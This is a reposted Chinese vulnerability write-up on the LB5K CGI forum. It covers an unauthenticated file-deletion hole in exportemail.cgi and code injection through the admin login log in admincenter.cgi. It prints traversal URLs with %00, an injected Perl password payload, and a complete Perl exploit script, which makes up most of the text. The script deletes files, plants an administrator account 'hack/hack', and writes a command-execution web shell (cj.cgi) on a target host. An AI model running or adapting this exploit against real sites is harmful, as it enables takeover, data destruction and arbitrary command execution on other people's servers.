首页 网络安全 安全学院 查看内容

接踵而至的LB5K论坛漏洞

2009-2-4 01:51 736 0

摘要:  作者:[C4ST] PsKey <[email protected]> 站点:http://www.isgrey.com 小组主页:http://c4st.51.net 小组论...
关键词: nbsp cgi exportemail adminlogin request print 文件 action host delete

 作者:[C4ST] PsKey <[email protected]> 站点:http://www.isgrey.com 小组主页:http://c4st.51.net 小组论坛:http://analysist.tocare.net >>>Dedicated This Scrap To CaoJing & LingMao & Envymask<<< 说明:据悉 Analysist 和 Torune< http://torune.126.com> 都曾发现了此漏洞。从时间上来说,此漏洞是他们发现在前,我发现在后。 涉及版本: ^^^^^^^^^^ LB5K当前所有版本(较低版本可能不受此漏洞影响) 描述: ^^^^^^ LB是一款由www.leoboard.com开发和维护的源代码开放的cgi论坛;由于exportemail.cgi文件验证逻辑错误,导致非法用户可以删除任意文件,结合其他文件存在的缺陷可能使非法用户控制论坛或以web权限在系统上执行任意命令。 具体: ^^^^^^ 试看exportemail.cgi中的相关代码: --------------------------------------------------------------------------------------- 49 $action    = $query -> param("action"); ... 52 $intarname  = $query -> param('tarname'); ... 62 if ($action eq "delete") { 63 unlink ("${imagesdir}$intarname.csv"); --------------------------------------------------------------------------------------- 这个删除文件操作没有经过任何验证,只要用户提交的 $action 为 delete 就可以执行。重要的是程序也并未对由用户提交的 $intarname 进行检查,因此用户可以自由选定欲删除的文件,比如提交如下URL,便可以删掉论坛主页面(具体操作按对方安装路径做相应变化): http://www.target.com/perl/lb5000mx190/cgi-bin/exportemail.cgi?action=delete&tarname=../cgi-bin/leoboard.cgi%00 注意后面的 %00 别弄丢了。 但删除文件往往不是我们的目的,我们可以通过删除一些重要或者说关键的文件,以来帮助我们获取进一步的权限。 接下来我们看看 admincenter.cgi 文件的相关代码: --------------------------------------------------------------------------------------- 45 $inmembername = $query -> param('membername'); 46 $inpassword  = $query -> param('password'); ... 98 inmembername =~ s/[\a\f\n\e\0\r\t\`\~\!\@\#\$\%\^\&\*\(\)\+\=\\\{\}\;\'\:\"\,\.\/\<\>\?]//isg; 99  $inpassword =~ s/[\a\f\n\e\0\r\t]//isg; ... 200 $filetomake = "$lbdir" . "data/adminlogin.cgi"; 201    open(FILE, ">>$filetomake"); 202   print FILE "$inmembername\t$inpassword\t$ENV{'REMOTE_ADDR'}\t$trueipaddress\t\<B\>登录失败\<\/B\>\t$thistime\t\n"; --------------------------------------------------------------------------------------- 如果用户登录,不管成功与否,程序都会把登录记录写入到 data/adminlogin.cgi 文件,但用户登录失败的记录,程序处理的很粗糙,致命的一点就是没有对 $inpassword 进行任何检查,正常情况下用户登录失败会向 data/adminlogin.cgi 写入如下内容: --------------------------------------------------------------------------------------- hack   wrongpasswd  192.168.0.1  no  <B>登录失败</B>  1052224096 --------------------------------------------------------------------------------------- 但要是以用户名 1 密码 eq 0||system @ARGV;# 登录呢?便会写入如下内容 --------------------------------------------------------------------------------------- 1  eq 0||system @ARGV;#  192.168.0.1  no  <B>登录失败</B>  1052224304 --------------------------------------------------------------------------------------- 如果在此之前管理员恰好清除了管理日志,此时 data/adminlogin.cgi 文件中只有这么条记录,那么我们请求 http://www.target.com/perl/lb5000mx190/cgi-bin/data/adminlogin.cgi?cmd 要是对方采用 perl.exe %s %s 映射方式,我们便有可能执行任意命令。 但我们不能被动的等管理员清空了日志才进行攻击,可以直接先用上文中描述的 exportemail.cgi 文件的漏洞来把 data/adminlogin.cgi 文件删除,接着我们再构造 $inpassword 来写入webshell。 提交如下URL可以删除 data/adminlogin.cgi 文件(具体操作按对方安装路径做相应变化): http://www.target.com/perl/lb5000mx190/cgi-bin/exportemail.cgi?action=delete&tarname=../cgi-bin/data/adminlogin.cgi%00 哈哈,现在的 data/adminlogin.cgi 就等同于一张白纸来等我们勾画,如果你有兴趣,直接把个老长老长老长的webshell写进去吧,但是要敏捷哦,小心在这个过程中有其他的人登陆,他们会打乱你的webshell的。 下面附了我写的一个攻击测试脚本,需要注意的是:不成功的情况下可能需要改一下代码,因为某些站的LB安装路径很怪。另外,如果后台管理登陆需要验证码,则必须先手工把如下代码写入到data/adminlogin.cgi,然后把代码做适当修改再使用。 --------------------------------------------------------------------------------------- use CGI qw(:standard);open(SKY,param('a'));print SKY param('b'); --------------------------------------------------------------------------------------- 测试脚本: #!/usr/bin/perl #Codz By PsKey<[email protected]> #Exploit of LB's exportemail.cgi & admincenter.cgi $|=1; use Socket; use Getopt::Std; getopt('hpbw'); print "\n       ===================================================\n"; print "       Exploit of LB's exportemail.cgi & admincenter.cgi\n"; print "           Codz By PsKey<PsKey\@hotmail.com>   \n"; print "               www.isgrey.com        \n"; print "          c4st.51.net<China4lert Security Team>      \n"; print "       ===================================================\n"; &usage unless ( defined($opt_h) && defined($opt_b) && defined($opt_w)); $host=$opt_h; $port=$opt_p||80; $lbpath=$opt_b; $webpath=$opt_w; print "\nPlease wait...\n\n"; $request0 = "GET $webpath/exportemail.cgi?action=delete&tarname=../cgi-bin/data/adminlogin.cgi%00 HTTP/1.1\r\n".       "Host: $host\n\n"; sendraw($request0); $request01 = "GET $webpath/exportemail.cgi?action=delete&tarname=../data/adminlogin.cgi%00 HTTP/1.1\r\n".       "Host: $host\n\n"; sendraw($request01); $request000 = "GET $webpath/exportemail.cgi?action=delete&tarname=../cgi-bin/lbshell.cgi%00 HTTP/1.1\r\n".       "Host: $host\n\n"; sendraw($request000); $request001 = "GET $webpath/exportemail.cgi?action=delete&tarname=../lbshell.cgi%00 HTTP/1.1\r\n".       "Host: $host\n\n"; sendraw($request001); $request005 = "GET $webpath/exportemail.cgi?action=delete&tarname=../cgi-bin/cj.cgi%00 HTTP/1.1\r\n".       "Host: $host\n\n"; sendraw($request005); $request006 = "GET $webpath/exportemail.cgi?action=delete&tarname=../cj.cgi%00 HTTP/1.1\r\n".       "Host: $host\n\n"; sendraw($request006); @req = qw( use%20CGI%20qw(:standard)%3b%23       open(SKY,param('a'))%3b%23       print%20SKY%20param('b')%3b%23              ); for ($i=0;$i<@req;$i++) {print "."; $membername = "a"; $password = "eq%20b||1%3b".$req[$i]; $request1 = "GET $webpath/admincenter.cgi?action=login&membername=$membername&password=$password HTTP/1.0\r\n".       "Host: $host\r\n".       "Cookie: adminname=$membername; adminpass=$password;\n\n"; sendraw($request1); } $a = ">>".$lbpath."lbshell.cgi"; @shell1 = qw( use%20CGI%20qw(:standard)%3b%0a        $s=param('s')%3b%0a        $d=param('d')%3b%0a        if ($s%20ne%20""%20%26%26%20$d%20ne%20"")%20{%0a        rename($s,$d)%3b%0a        exit%3b%0a        }%0a        ); for ($j=0;$j<@shell1;$j++) { print "."; $request2 = "GET $webpath/data/adminlogin.cgi?a=$a&b=$shell1[$j] HTTP/1.0\r\n".       "Host: $host\n\n"; sendraw($request2); } $lbpath1="\$lbpath=\"".$lbpath."\"%3b%0a"; $request3 = "GET $webpath/data/adminlogin.cgi?a=$a&b=$lbpath1 HTTP/1.0\r\n".       "Host: $host\n\n"; sendraw($request3); @shell2 = qw($ad="/hack.cgi"%3b%0a        opendir(DIR,"$lbpath")%3b%0a        @files=readdir(DIR)%3b%0a        close(DIR)%3b%0a        @memdir=grep(/^members/,@files)%3b%0a        $hack=$lbpath.@memdir[0].$ad%3b%0a        open(HACK,">$hack")%3b%0a        print%20HACK%20"hack\thack\thack\tad\n"%3b%0a       ); for ($j=0;$j<@shell2;$j++) { print "."; $request4 = "GET $webpath/data/adminlogin.cgi?a=$a&b=$shell2[$j] HTTP/1.0\r\n".       "Host: $host\n\n"; sendraw($request4); } $request5 = "GET $webpath/lbshell.cgi HTTP/1.1\r\n".       "Host: $host\n\n"; sendraw($request5); $a1 = ">>".$lbpath."cj.cgi"; @shell3 = qw(use%20CGI%20qw(:standard)%3b%0a        print%20header(-charset=>gb2312)%3b%0a        $cmd=param("cmd")%3b%0a        $out=`$cmd%202>%261`%3b%0a        print%20start_form,textfield("cmd",$cmd,60)%3b%0a        print%20end_form%3b%0a        print%20pre($out)%3b%0a       ); for ($k=0;$k<@shell3;$k++) { print "."; $requestcj = "GET $webpath/data/adminlogin.cgi?a=$a1&b=$shell3[$k] HTTP/1.0\r\n".       "Host: $host\n\n"; sendraw($requestcj); } $request03= "GET $webpath/exportemail.cgi?action=delete&tarname=../cgi-bin/data/adminlogin.cgi%00 HTTP/1.1\r\n".       "Host: $host\n\n"; sendraw($request03); $request04 = "GET $webpath/exportemail.cgi?action=delete&tarname=../data/adminlogin.cgi%00 HTTP/1.1\r\n".       "Host: $host\n\n"; sendraw($request04); $ok=$host.$webpath."/cj.cgi"; print "\n\nYou will get an administrator hack/hack of this forum And the webshell $ok if you are lucky.\n"; sub usage { print qq~ Usage: $0 -h <Host> [-p <port>] -b <physical path> -w <web path>   -h  =hostname you want to attack   -p  =port,80 default   -b  =the physical path of cgi-bin such as "E:/website/lb/cgi-bin/"   -w  =the web path of cgi-bin such as "/lb/cgi-bin" Eg: $0 -h www.target.com -p 80 -b E:/website/lb/cgi-bin/ -w /lb/cgi-bin ~; exit; } #thanx rfp<[email protected]>'s sendraw     sub sendraw {   my ($request) = @_;   my $target;   $target = inet_aton($host) || die("inet_aton problems");   socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");   if(connect(S,pack "SnA4x8",2,$port,$target)){     select(S); $| = 1;     print $request; my @in = <S>;     select(STDOUT); close(S);     return @in;   }   else { die("Can't connect...\n");   } }
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部